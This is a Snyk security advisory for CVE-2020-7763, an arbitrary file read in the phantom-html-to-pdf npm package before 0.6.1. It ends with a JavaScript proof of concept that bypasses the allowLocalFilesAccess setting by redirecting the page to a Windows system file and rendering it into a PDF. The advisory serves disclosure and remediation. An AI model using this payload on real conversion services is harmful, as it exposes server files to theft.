Arbitrary File Read Affecting phantom-html-to-pdf package, versions <0.6.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-PHANTOMHTMLTOPDF-1023598
- published5 Nov 2020
- disclosed29 Oct 2020
- creditAnand Namana
Introduced: 29 Oct 2020
CVE-2020-7763 (opens in a new tab)How to fix?
Upgrade phantom-html-to-pdf to version 0.6.1 or higher.
Overview
phantom-html-to-pdf is a Convert html to pdf using phantomjs
Affected versions of this package are vulnerable to Arbitrary File Read.
PoC
var fs = require('fs')
var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false
conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) {
var output = fs.createWriteStream('output.pdf')
console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});